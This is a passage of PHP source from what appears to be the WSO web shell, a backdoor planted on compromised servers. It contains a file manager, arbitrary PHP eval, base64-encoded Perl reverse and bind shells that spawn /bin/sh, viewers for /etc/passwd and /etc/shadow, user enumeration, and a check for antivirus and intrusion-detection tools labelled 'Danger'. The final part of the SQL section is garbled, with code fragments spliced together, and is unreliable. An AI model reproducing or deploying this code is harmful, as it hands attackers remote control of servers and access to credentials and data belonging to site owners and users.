							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
			.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
		$l = $l?0:1;
	}
	echo "<tr><td colspan=7>
	<input type=hidden name=ne value=''>
	<input type=hidden name=a value='FilesMan'>
	<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
        echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
	wsoFooter();
}
function actionFilesTools() {
	if( isset($_POST['p1']) )
		$_POST['p1'] = urldecode($_POST['p1']);
	if(@$_POST['p2']=='download') {
		if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
			ob_start("ob_gzhandler", 4096);
			header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
			if (function_exists("mime_content_type")) {
				$type = @mime_content_type($_POST['p1']);
				header("Content-Type: " . $type);
			} else
                header("Content-Type: application/octet-stream");
			$fp = @fopen($_POST['p1'], "r");
			if($fp) {
				while(!@feof($fp))
					echo @fread($fp, 1024);
				fclose($fp);
			}
		}exit;
	}
	if( @$_POST['p2'] == 'mkfile' ) {
		if(!file_exists($_POST['p1'])) {
			$fp = @fopen($_POST['p1'], 'w');
			if($fp) {
				$_POST['p2'] = "edit";
				fclose($fp);
			}
		}
	}
	wsoHeader();
	echo '<h1>File tools</h1><div class=content>';
	if( !file_exists(@$_POST['p1']) ) {
		echo 'File not exists';
		wsoFooter();
		return;
	}
	$uid = @posix_getpwuid(@fileowner($_POST['p1']));
	if(!$uid) {
		$uid['name'] = @fileowner($_POST['p1']);
		$gid['name'] = @filegroup($_POST['p1']);
	} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
	echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
	echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
	if( empty($_POST['p2']) )
		$_POST['p2'] = 'view';
	if( is_file($_POST['p1']) )
		$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
	else
		$m = array('Chmod', 'Rename', 'Touch');
	foreach($m as $v)
		echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
	echo '<br><br>';
	switch($_POST['p2']) {
		case 'view':
			echo '<pre class=ml1>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>';
			break;
		case 'highlight':
			if( @is_readable($_POST['p1']) ) {
				echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
				$code = @highlight_file($_POST['p1'],true);
				echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
			}
			break;
		case 'chmod':
			if( !empty($_POST['p3']) ) {
				$perms = 0;
				for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
					$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
				if(!@chmod($_POST['p1'], $perms))
					echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
			break;
		case 'edit':
			if( !is_writable($_POST['p1'])) {
				echo 'File isn\'t writeable';
				break;
			}
			if( !empty($_POST['p3']) ) {
				$time = @filemtime($_POST['p1']);
				$_POST['p3'] = substr($_POST['p3'],1);
				$fp = @fopen($_POST['p1'],"w");
				if($fp) {
					@fwrite($fp,$_POST['p3']);
					@fclose($fp);
					echo 'Saved!<br><script>p3_="";</script>';
					@touch($_POST['p1'],$time,$time);
				}
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</textarea><input type=submit value=">>"></form>';
			break;
		case 'hexdump':
			$c = @file_get_contents($_POST['p1']);
			$n = 0;
			$h = array('00000000<br>','','');
			$len = strlen($c);
			for ($i=0; $i<$len; ++$i) {
				$h[1] .= sprintf('%02X',ord($c[$i])).' ';
				switch ( ord($c[$i]) ) {
					case 0:  $h[2] .= ' '; break;
					case 9:  $h[2] .= ' '; break;
					case 10: $h[2] .= ' '; break;
					case 13: $h[2] .= ' '; break;
					default: $h[2] .= $c[$i]; break;
				}
				$n++;
				if ($n == 32) {
					$n = 0;
					if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
					$h[1] .= '<br>';
					$h[2] .= "
";
				}
		 	}
			echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
			break;
		case 'rename':
			if( !empty($_POST['p3']) ) {
				if(!@rename($_POST['p1'], $_POST['p3']))
					echo 'Can\'t rename!<br>';
				else
					die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
			}
			echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
			break;
		case 'touch':
			if( !empty($_POST['p3']) ) {
				$time = strtotime($_POST['p3']);
				if($time) {
					if(!touch($_POST['p1'],$time,$time))
						echo 'Fail!';
					else
						echo 'Touched!';
				} else echo 'Bad time format!';
			}
			clearstatcache();
			echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
			break;
	}
	echo '</div>';
	wsoFooter();
} function actionNetwork() {
	wsoHeader();
	$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
	$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
	echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";
	if(isset($_POST['p1'])) {
		function cf($f,$t) {
			$w = @fopen($f,"w") or @function_exists('file_put_contents');
			if($w){
				@fwrite($w,base64_decode($t));
				@fclose($w);
			}
		}
		if($_POST['p1'] == 'bpp') {
			cf("/tmp/bp.pl",$bind_port_p);
			$out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bp.pl")."</pre>";
            unlink("/tmp/bp.pl");
		}
		if($_POST['p1'] == 'bcp') {
			cf("/tmp/bc.pl",$back_connect_p);
			$out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
            sleep(1);
			echo "<pre class=ml1>$out
".wsoEx("ps aux | grep bc.pl")."</pre>";
            unlink("/tmp/bc.pl");
		}
	}
	echo '</div>';
	wsoFooter();
} function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
} function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
} function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
					$rhe modules',mpt-tr_re,p' => $gr['nc$temrm onsubl				r'/uc 'pgsql':
					$thi'drop cript>
le  $d.$s.'/'':
			oaders 		r'/=>oaders',($tem$r as file"));
				break;
			}
			return false;
		}
		caseis-riptrge(    h) ) !== falsr) {
			switch($this->type)	{
				case 'mysql$n $this->res = $this->que->query("CREA` CH-ript.'` $d.$s.'/'$o "Can'= 	return @mysq$sort h_assoc($res$"loc: $h "Can<pre";',$uid)."
";
           r');
		{
					@fw $"lo);';
				} ($"lo); 'pgsql':
					$thi'->query*COPY w` CH-ript.'` $d.$)."
";
           $i
					)."
";
           $    ) {
return trules',mpt
						r_re,p' => $gr['p2']++) {
                "loc: 'ho '<br/>';
               r');i % m2 vALS[0['c'].$f)) {
                   $    ) {
retur.$f)) {
                   $"loc: ";',',$uid)."
";
               ;
		}s.'/'$oolumns = $files = arrrrrruch');
	t
			iterar asf'] as $f) {
                       v$v, "\'g(['c'].$f))
                       	t
		[$k
		$tNULL$uid)."
";
                   
						} ei) &&vE['c'].$f))
                       	t
		[$k
		$$vuid)."
";
                   
			'c'].$f))
                       	t
		[$k
		$tso2		retur>add_cfzv '_slaent_evshes"= arrrrrr'$oolumns
		$t`".$k.t`"= arrrrrr         }
                       ['c'].$f)) {
                   $"loc			$INSERT INTOw` CH-ript.'` ('.oaders',(, emp)oolumnsent_ VALUES ','pg_.oaders',(, emp)soWhi.')ho '<br/>';
                   $    ) {		return>';
                   pe);
			} else
                   $"loc			leant,g_.oaders',(, emp)soWhi.')ho '<br/>';
               r');
		{
					@fw $"lo);';
				} ($"lo); 'lse
                   $i}
				$nr         }
           );
		   [ '<br/>';
               r');
		{
					@fw ";',',$);';
				} (";',',$); file"));
				break;
				case 'pgsql':
					$thi'->query*COPY w CH-ript$rhe modules',mpt
						r_re,p' => $gr['p2}s.'/'$oolumns = $files = arrrrrruch');
	t
			iterar asf'] arrrrrr'$t
		[$k
		$tso2 FROM '".addvshes"= arrrrrr'$oolumns
		$$k= arrrrrr         }
                "loc: 'INSERT INTOw CH-ript.' ('.oaders',(, emp)oolumnsen'_ VALUES ('.oaders',(, emp)soWhi.');'':',$uid)."
";
               r');
		{
					@fw $"lo);';
				} ($"lo); 'rrrrr   ile"));
				break;
			}
			return false}urn $db     $zfunction etpwuide']):$furn r')']);
	if(@$_POST['p2']=='doT['pe_exists(@$_P!ext'l'oci_cm($n, $db->= @mysql_exists(etur} po_POST['p2'],etur 'pin_POST['p2'],eturassw_POST['p2'],eturM pg_POST['p1db->function s['p2'],eturM pg_POST[        <br>';
	switch($_POST['c'c'].$f)) {
   ak;
"War n s-1251": 1db->function se'cp1251');= $c[$i];.$f)) {
   ak;
"rset'": 1db->function se'utf8');= $c[$i];.$f)) {
   ak;
"KOI8-R": 1db->function se'koi8r');= $c[$i];.$f)) {
   ak;
"KOI8-U": 1db->function se'koi8u');= $c[$i];.$f)) {
   ak;
"cp866": 1db->function se'cp866');= $c[$i];.$f)) {
         }
	}
    if(empty		r'/ugr['p2']++) {
   )) {
			ob_start("ob_gzhandler",']++) {
   96);
			header("Content-Disposition: attachment; case.etull 2>&1 &");
            header("Conteso2(/plainll 2>&1 &");
   ))
					foreachtblCOOKIE[vr['nc$t1db->caseisvl 2>&1 &");
   temp;
.$f)) {
  }
				}>';
			$fp = @fopen		r'/uOST['pr['p2']++) {
   ))
					foreachtblCOOKIE[vr['                1db->caseisvrge( l 2>&1 &");
   );
				@fclos&1 &");
   		}
			tpwuid($_POST['p2']);
pe);
			} else
   se
					die(aob_		oEpg_l!  {	echo 'Can)."') ;war n ._resive./bc.(-1",null,"")</scri}
		}
	}
	wsoHeader()"

	eclocbrn sile manager</h1><div classding='2'>
<f'sf'm name=p'f me'ble><form 'fsubmit);'>			echo '<t='0' cellpass='main' cellsp</td></scd>"Contr><td>ToecPatr><td>ToL'pintr><td>ToPr=$usertr><td>ToDFROM pgtr><td>To<value=0></td></san=7>
	<input type=hidden name=ne ue=''>
	<input type=hidden nameclo ue=''>
